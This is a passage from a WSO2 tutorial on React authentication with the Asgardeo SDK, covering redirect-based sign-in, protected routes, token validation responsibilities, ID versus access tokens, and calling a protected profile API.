style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">SignedOut</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">header</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">main</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">UserProfile</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">main</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">export</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">default</span><span class="token plain"> </span><span class="token maybe-class-name">App</span><br></span></code></pre></div></div>
<p>The detail worth internalizing is that sign-in is a redirect, not a function call that returns a user. Your component unmounts, the browser leaves, and your app boots again on the way back with a code in the URL. Any state you were holding is gone unless you deliberately preserved it, which is why "my form data disappeared after login" is such a common first bug.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="protecting-routes">Protecting routes<a href="https://wso2.com/identity-platform/learn/react-authentication#protecting-routes" class="hash-link" aria-label="Direct link to Protecting routes" title="Direct link to Protecting routes" translate="no">​</a></h2>
<p>React protected routes are the most-copied pattern in React authentication and the least understood. Both React Router and TanStack Router give you the same primitive: a wrapper or loader that checks authentication state and redirects when it's absent.</p>
<p>The WSO2 SDK provides pluggable utilities that work with popular routing libraries such as React Router and TanStack Router. You can install one of these packages to secure the routes in your application by running one of the following commands:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">npm install react-router-dom @asgardeo/react-router</span><br></span></code></pre></div></div>
<p>In the following code, we use the <code>&lt;BrowserRouter&gt;</code>, <code>&lt;Routes&gt;</code>, and <code>&lt;Route&gt;</code> components to define the routing.</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> </span><span class="token imports maybe-class-name">BrowserRouter</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> </span><span class="token imports maybe-class-name">Routes</span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token imports"> </span><span class="token imports maybe-class-name">Route</span><span class="token imports"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'react-router-dom'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> </span><span class="token imports maybe-class-name">ProtectedRoute</span><span class="token imports"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'@asgardeo/react-router'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports maybe-class-name">Dashboard</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'./pages/Dashboard'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports maybe-class-name">MyProfile</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'./pages/MyProfile'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'./App.css'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">App</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">header</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">BrowserRouter</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">Routes</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">Route</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">path</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">/</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">element</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:rgb(17, 17, 17)">Dashboard</span><span class="token tag script language-javascript tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">Route</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">            </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">path</span><span class="token tag attr-value punctuation attr-equals" style="color:rgb(153, 76, 195)">=</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag attr-value" style="color:rgb(153, 76, 195)">/profile</span><span class="token tag attr-value punctuation" style="color:rgb(153, 76, 195)">"</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">            </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">element</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">              </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:rgb(17, 17, 17)">ProtectedRoute</span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token tag script language-javascript plain-text" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag script language-javascript plain-text" style="color:rgb(153, 76, 195)">                </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag script language-javascript tag class-name" style="color:rgb(17, 17, 17)">MyProfile</span><span class="token tag script language-javascript tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token tag script language-javascript plain-text" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag script language-javascript plain-text" style="color:rgb(153, 76, 195)">              </span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag script language-javascript tag class-name" style="color:rgb(17, 17, 17)">ProtectedRoute</span><span class="token tag script language-javascript tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">            </span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag" style="color:rgb(153, 76, 195)"></span><br></span><span class="token-line" style="color:#403f53"><span class="token tag" style="color:rgb(153, 76, 195)">          </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">Routes</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">BrowserRouter</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">header</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">export</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">default</span><span class="token plain"> </span><span class="token maybe-class-name">App</span><br></span></code></pre></div></div>
<p>Preserving the intended destination is the part most implementations skip. If a user lands on a deep link, gets bounced to sign-in, and then arrives at your dashboard instead of the page they wanted, the flow technically works and still feels broken.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="calling-a-protected-api-from-react">Calling a protected API from React<a href="https://wso2.com/identity-platform/learn/react-authentication#calling-a-protected-api-from-react" class="hash-link" aria-label="Direct link to Calling a protected API from React" title="Direct link to Calling a protected API from React" translate="no">​</a></h2>
<p>Signing in is not the feature. The feature is the dashboard that lists this user's orders, the settings page that writes to this user's profile, and the export button only some accounts are allowed to press. React runs in the browser with no database connection of its own, so every one of those screens is an HTTP request to an API that has to decide whether to answer. Most React authentication guides stop at the login button, which is the point where the real work starts.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="who-is-responsible-for-what">Who is responsible for what<a href="https://wso2.com/identity-platform/learn/react-authentication#who-is-responsible-for-what" class="hash-link" aria-label="Direct link to Who is responsible for what" title="Direct link to Who is responsible for what" translate="no">​</a></h3>
<p>There are two sides to every authenticated request, and only one of them enforces anything.</p>
<table><thead><tr><th>Responsibility</th><th>Your React app</th><th>Your API</th></tr></thead><tbody><tr><td>Obtain an access token for the signed-in user</td><td>Yes</td><td>No</td></tr><tr><td>Send it as an <code>Authorization: Bearer</code> header</td><td>Yes</td><td>No</td></tr><tr><td>Validate the token signature</td><td>No</td><td>Yes</td></tr><tr><td>Check the issuer, the audience, and expiry</td><td>No</td><td>Yes</td></tr><tr><td>Check the token carries the required scope</td><td>No</td><td>Yes</td></tr><tr><td>Decide whether this user may do this</td><td>No</td><td>Yes</td></tr><tr><td>Render the result</td><td>Yes</td><td>No</td></tr></tbody></table>
<p>The React column is transport. The API column is a decision. Your app proves who is asking, and your API works out what that person gets, by validating the token's signature against the provider's published signing keys, confirming the issuer and audience match what it expects, confirming the token has not expired, and confirming it carries the scope this endpoint requires. An API that skips those checks makes every other section of this guide irrelevant, because then an attacker can present a token you never issued.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-id-token-is-not-the-access-token">The ID token is not the access token<a href="https://wso2.com/identity-platform/learn/react-authentication#the-id-token-is-not-the-access-token" class="hash-link" aria-label="Direct link to The ID token is not the access token" title="Direct link to The ID token is not the access token" translate="no">​</a></h3>
<p>This is the most common bug in this part of the stack, and it deserves naming plainly because it usually ships undetected. Authentication returns two tokens and they have different audiences.</p>
<p>The ID token is about the user and it is for your application. It tells you who signed in and carries their claims, so decode it to render a name, an avatar, or a role-conditional menu. The access token is for your API. It is the credential your app presents to prove it may act on the user's behalf.</p>
<p>Sending an ID token to your API is wrong even on the days it appears to work. The ID token's audience is your React client and not your API, so an API that validates the audience correctly rejects it, and an API that accepts it has just told you it does not check. The SDK keeps the two apart on purpose: getIdToken and getDecodedIdToken return the identity, and getAccessToken returns the credential for the call.</p>
<p>There are three ways to attach a token to a request, and they are really three stages of the same realization.</p>
<p>The first is manual. You read the access token, build the header yourself, and call fetch. It works, it is what you would write against any OpenID Connect provider, and it is worth writing once so the mechanism is not magic. It is also where the bugs breed, because the moment you have a second component you have two copies of the expiry handling.</p>
<p>The second is a shared client. One module owns the token, attaches the header, and handles a 401 in a single place. Every application that starts with the first approach arrives here eventually.</p>
<p>The third is to use the client your SDK already ships, which is the second approach written for you. useAsgardeo returns an http object, and http.request attaches Authorization: Bearer with the current access token automatically, so a call looks close to the fetch you already write. There is also http.requestAll for firing several requests together.</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> useState </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword module" style="color:rgb(12, 150, 155)">import</span><span class="token plain"> </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token imports"> useAsgardeo </span><span class="token imports punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token keyword module" style="color:rgb(12, 150, 155)">from</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'@asgardeo/react'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token keyword" style="color:rgb(12, 150, 155)">function</span><span class="token plain"> </span><span class="token function maybe-class-name" style="color:rgb(153, 76, 195);font-style:italic">MyProfile</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"> http</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> isSignedIn </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useAsgardeo</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">[</span><span class="token plain">userData</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"> setUserData</span><span class="token punctuation" style="color:rgb(153, 76, 195)">]</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">useState</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token keyword null nil" style="color:rgb(12, 150, 155)">null</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> </span><span class="token function-variable function" style="color:rgb(153, 76, 195);font-style:italic">getProfile</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword" style="color:rgb(12, 150, 155)">async</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token arrow operator" style="color:rgb(12, 150, 155)">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token keyword" style="color:rgb(12, 150, 155)">const</span><span class="token plain"> response </span><span class="token operator" style="color:rgb(12, 150, 155)">=</span><span class="token plain"> </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">await</span><span class="token plain"> http</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token method function property-access" style="color:rgb(153, 76, 195);font-style:italic">request</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">url</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'https://api.asgardeo.io/t/your-organization-name/scim2/Me'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">method</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'GET'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token literal-property property" style="color:rgb(12, 150, 155)">headers</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token string-property property" style="color:rgb(12, 150, 155)">'Accept'</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'application/json'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token string-property property" style="color:rgb(12, 150, 155)">'Content-Type'</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">'application/scim+json'</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token function" style="color:rgb(153, 76, 195);font-style:italic">setUserData</span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain">response</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">data</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token operator" style="color:rgb(12, 150, 155)">!</span><span class="token plain">isSignedIn</span><span class="token punctuation" style="color:rgb(153, 76, 195)">)</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text">Please sign in to view your profile.</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token punctuation" style="color:rgb(153, 76, 195)">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token keyword control-flow" style="color:rgb(12, 150, 155)">return</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">h2</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text">My Profile</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">h2</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag attr-name" style="color:rgb(72, 118, 214);font-style:italic">onClick</span><span class="token tag script language-javascript script-punctuation punctuation" style="color:rgb(153, 76, 195)">=</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token tag script language-javascript" style="color:rgb(153, 76, 195)">getProfile</span><span class="token tag script language-javascript punctuation" style="color:rgb(153, 76, 195)">}</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text">Get My Profile</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;/</span><span class="token tag" style="color:rgb(153, 76, 195)">button</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">      </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">userData </span><span class="token operator" style="color:rgb(12, 150, 155)">&amp;&amp;</span><span class="token plain"> </span><span class="token punctuation" style="color:rgb(153, 76, 195)">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">        </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">div</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain-text">          </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag" style="color:rgb(153, 76, 195)">p</span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&gt;</span><span class="token plain-text">Given Name: </span><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">userData</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">name</span><span class="token 